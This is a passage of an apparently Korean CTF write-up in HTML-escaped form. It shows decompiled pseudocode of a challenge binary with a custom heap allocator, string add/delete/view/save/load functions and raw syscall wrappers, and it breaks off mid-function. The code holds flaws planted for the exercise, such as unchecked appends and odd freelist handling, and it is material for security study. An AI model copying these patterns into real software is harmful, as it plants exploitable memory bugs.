&amp;nbsp;&amp;nbsp;int num; // [rsp+8h] [rbp-8h]
&amp;nbsp;&amp;nbsp;int i; // [rsp+Ch] [rbp-4h]

&amp;nbsp;&amp;nbsp;if ( user_list[user_idx]-&amp;gt;str_count )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Enter the index of the string to delete: &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;num = get_num();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( num &amp;gt;= 0 &amp;amp;&amp;amp; num &amp;lt; user_list[user_idx]-&amp;gt;str_count )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(user_list[user_idx]-&amp;gt;string_ptr_array[num]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for ( i = num; i &amp;lt; user_list[user_idx]-&amp;gt;str_count - 1; ++i )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_list[user_idx]-&amp;gt;string_ptr_array[i] = user_list[user_idx]-&amp;gt;string_ptr_array[i + 1];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--user_list[user_idx]-&amp;gt;str_count;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&quot;String deleted successfully!&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid index&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;No strings to delete&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;}
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 veiw_string()
{
&amp;nbsp;&amp;nbsp;__int64 result; // rax
&amp;nbsp;&amp;nbsp;int i; // [rsp+Ch] [rbp-4h]

&amp;nbsp;&amp;nbsp;if ( user_list[user_idx]-&amp;gt;str_count )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for ( i = 0; ; ++i )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result = user_list[user_idx]-&amp;gt;str_count;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( i &amp;gt;= result )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;String &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;maybe_counter(i);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;: &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(user_list[user_idx]-&amp;gt;string_ptr_array[i]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;No strings to view&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;return result;
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;chunk_st *save_to_file()
{
&amp;nbsp;&amp;nbsp;int v1; // [rsp+8h] [rbp-28h]
&amp;nbsp;&amp;nbsp;char *file_buffer; // [rsp+10h] [rbp-20h]
&amp;nbsp;&amp;nbsp;char *filename; // [rsp+18h] [rbp-18h]
&amp;nbsp;&amp;nbsp;int j; // [rsp+24h] [rbp-Ch]
&amp;nbsp;&amp;nbsp;int i; // [rsp+28h] [rbp-8h]
&amp;nbsp;&amp;nbsp;int v6; // [rsp+2Ch] [rbp-4h]

&amp;nbsp;&amp;nbsp;printf(&quot;Enter the filename: &quot;);
&amp;nbsp;&amp;nbsp;filename = allocate(0x20);
&amp;nbsp;&amp;nbsp;if ( filename &amp;amp;&amp;amp; (read(filename, 0x20), strlen(filename)) &amp;amp;&amp;amp; !strcmp(filename, &quot;flag&quot;) )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;file_buffer = allocate(0x7FFF);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( !file_buffer )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Failed to allocate memory&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v6 = 0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for ( i = 0; i &amp;lt; user_list[user_idx]-&amp;gt;str_count; ++i )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v1 = strlen(user_list[user_idx]-&amp;gt;string_ptr_array[i]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for ( j = 0; j &amp;lt; v1; ++j )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;file_buffer[v6++] = *(user_list[user_idx]-&amp;gt;string_ptr_array[i] + j);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;file_buffer[v6++] = 0xA;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( file_write() &amp;gt;= 0 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Strings saved to file successfully!&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return heap_management1(file_buffer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Failed to write file&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid filename&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;}
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;chunk_st *load_from_file()
{
&amp;nbsp;&amp;nbsp;char *v1; // [rsp+0h] [rbp-30h]
&amp;nbsp;&amp;nbsp;int v2; // [rsp+Ch] [rbp-24h]
&amp;nbsp;&amp;nbsp;char *file_buffer; // [rsp+10h] [rbp-20h]
&amp;nbsp;&amp;nbsp;char *filename; // [rsp+18h] [rbp-18h]
&amp;nbsp;&amp;nbsp;int i; // [rsp+20h] [rbp-10h]
&amp;nbsp;&amp;nbsp;int v6; // [rsp+24h] [rbp-Ch]
&amp;nbsp;&amp;nbsp;int v7; // [rsp+28h] [rbp-8h]
&amp;nbsp;&amp;nbsp;int v8; // [rsp+2Ch] [rbp-4h]

&amp;nbsp;&amp;nbsp;printf(&quot;Enter the filename: &quot;);
&amp;nbsp;&amp;nbsp;filename = allocate(0x20);
&amp;nbsp;&amp;nbsp;if ( filename &amp;amp;&amp;amp; (read(filename, 0x20), strlen(filename)) &amp;amp;&amp;amp; !strcmp(filename, &quot;flag&quot;) )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;file_buffer = allocate(0x7FFF);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( !file_buffer )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Failed to allocate memory&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v2 = file_read();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( v2 &amp;gt;= 0 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v8 = 0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v7 = 0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while ( v8 &amp;lt; v2 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v6 = 0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while ( file_buffer[v8] != 0xA )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++v6;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++v8;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v1 = allocate(v6 + 1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( !v1 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Failed to allocate memory&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for ( i = 0; i &amp;lt; v6; ++i )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v1[i] = file_buffer[v7++];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v1[v6] = 0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_list[user_idx]-&amp;gt;string_ptr_array[user_list[user_idx]-&amp;gt;str_count++] = v1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++v8;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++v7;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Strings loaded from file successfully!&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return heap_management1(file_buffer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Failed to read file&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid filename&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;}
}&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;br&gt;유틸 함수들은 다음과 같다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 __fastcall sub_15F4(__int64 a1, signed int a2)
{
&amp;nbsp;&amp;nbsp;char v3; // [rsp+1Bh] [rbp-31h] BYREF
&amp;nbsp;&amp;nbsp;__int64 v4; // [rsp+1Ch] [rbp-30h]
&amp;nbsp;&amp;nbsp;__int64 v5; // [rsp+24h] [rbp-28h]
&amp;nbsp;&amp;nbsp;char *v6; // [rsp+2Ch] [rbp-20h]
&amp;nbsp;&amp;nbsp;__int64 v7; // [rsp+34h] [rbp-18h]
&amp;nbsp;&amp;nbsp;__int64 v8; // [rsp+3Ch] [rbp-10h]
&amp;nbsp;&amp;nbsp;unsigned int i; // [rsp+48h] [rbp-4h]

&amp;nbsp;&amp;nbsp;for ( i = 0; i &amp;lt; a2; ++i )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v8 = read_syscall;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v7 = 0LL;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v6 = &amp;amp;v3;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v5 = 1LL;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm { syscall; LINUX - }
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v4 = read_syscall;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( v3 == 0xA )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*(i + a1) = 0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return i;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*(a1 + i) = v3;
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;return i;
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 __fastcall write(unsigned __int8 *a1)
{
&amp;nbsp;&amp;nbsp;__int64 result; // rax

&amp;nbsp;&amp;nbsp;printf(a1);
&amp;nbsp;&amp;nbsp;result = write_syscall;
&amp;nbsp;&amp;nbsp;__asm { syscall; LINUX - }
&amp;nbsp;&amp;nbsp;return result;
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 __fastcall printf(unsigned __int8 *a1)
{
&amp;nbsp;&amp;nbsp;__int64 result; // rax

&amp;nbsp;&amp;nbsp;while ( 1 )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result = *a1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( !result )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm { syscall; LINUX - }
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++a1;
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;return result;
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;char *__fastcall allocate(int req_size)
{
&amp;nbsp;&amp;nbsp;chunk_st *next_chunk; // [rsp+4h] [rbp-20h]
&amp;nbsp;&amp;nbsp;int size; // [rsp+10h] [rbp-14h]
&amp;nbsp;&amp;nbsp;chunk_st *allocate_addr_1; // [rsp+14h] [rbp-10h]
&amp;nbsp;&amp;nbsp;chunk_st *allocate_addr; // [rsp+1Ch] [rbp-8h]

&amp;nbsp;&amp;nbsp;if ( !req_size )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0LL;
&amp;nbsp;&amp;nbsp;size = (req_size + 0xF) &amp;amp; 0xFFFFFFF0;
&amp;nbsp;&amp;nbsp;allocate_addr = next_allocate_addr;
&amp;nbsp;&amp;nbsp;allocate_addr_1 = 0LL;
&amp;nbsp;&amp;nbsp;while ( 1 )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( !allocate_addr )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0LL;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( size &amp;lt;= allocate_addr-&amp;gt;size )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;allocate_addr_1 = allocate_addr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;allocate_addr = allocate_addr-&amp;gt;next;
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;if ( allocate_addr-&amp;gt;size &amp;gt;= (size + 0x10LL) )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_chunk = &amp;amp;allocate_addr-&amp;gt;data[size];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_chunk-&amp;gt;size = allocate_addr-&amp;gt;size - size - 0x10;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_chunk-&amp;gt;next = allocate_addr-&amp;gt;next;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;allocate_addr-&amp;gt;next = next_chunk;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;allocate_addr-&amp;gt;size = size;
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;if ( allocate_addr_1 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;allocate_addr_1-&amp;gt;next = allocate_addr-&amp;gt;next;
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr = allocate_addr-&amp;gt;next;
&amp;nbsp;&amp;nbsp;return allocate_addr-&amp;gt;data;
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;chunk_st *__fastcall heap_management1(chunk_st *check_chunk_data)
{
&amp;nbsp;&amp;nbsp;chunk_st *result; // rax
&amp;nbsp;&amp;nbsp;chunk_st *check_chunk; // [rsp+18h] [rbp-18h]
&amp;nbsp;&amp;nbsp;chunk_st *next_allocate_addr_2; // [rsp+20h] [rbp-10h]
&amp;nbsp;&amp;nbsp;chunk_st *next_allocate_addr_1; // [rsp+28h] [rbp-8h]

&amp;nbsp;&amp;nbsp;if ( check_chunk_data )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result = heap1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( check_chunk_data &amp;gt;= heap1 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result = &amp;amp;read_syscall;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// heap overflow check
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( check_chunk_data &amp;lt; &amp;amp;read_syscall )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;check_chunk = check_chunk_data + 0xFFFFFFFF;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_1 = next_allocate_addr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_2 = 0LL;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while ( next_allocate_addr_1 &amp;amp;&amp;amp; next_allocate_addr_1 &amp;lt; check_chunk )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_2 = next_allocate_addr_1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_1 = next_allocate_addr_1-&amp;gt;next;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( next_allocate_addr_2 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;check_chunk-&amp;gt;next = next_allocate_addr_2-&amp;gt;next;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_2-&amp;gt;next = check_chunk;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;check_chunk-&amp;gt;next = next_allocate_addr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr = CONTAINING_RECORD(check_chunk_data, chunk_st, data);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return heap_managemen2();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;return result;
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;chunk_st *heap_managemen2()
{
&amp;nbsp;&amp;nbsp;chunk_st *next_allocate_addr_0; // rax
&amp;nbsp;&amp;nbsp;int v1; // [rsp+0h] [rbp-Ch]
&amp;nbsp;&amp;nbsp;chunk_st *next_allocate_addr_1; // [rsp+4h] [rbp-8h]

&amp;nbsp;&amp;nbsp;next_allocate_addr_0 = next_allocate_addr;
&amp;nbsp;&amp;nbsp;next_allocate_addr_1 = next_allocate_addr;
&amp;nbsp;&amp;nbsp;while ( next_allocate_addr_1 )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_0 = next_allocate_addr_1-&amp;gt;next;
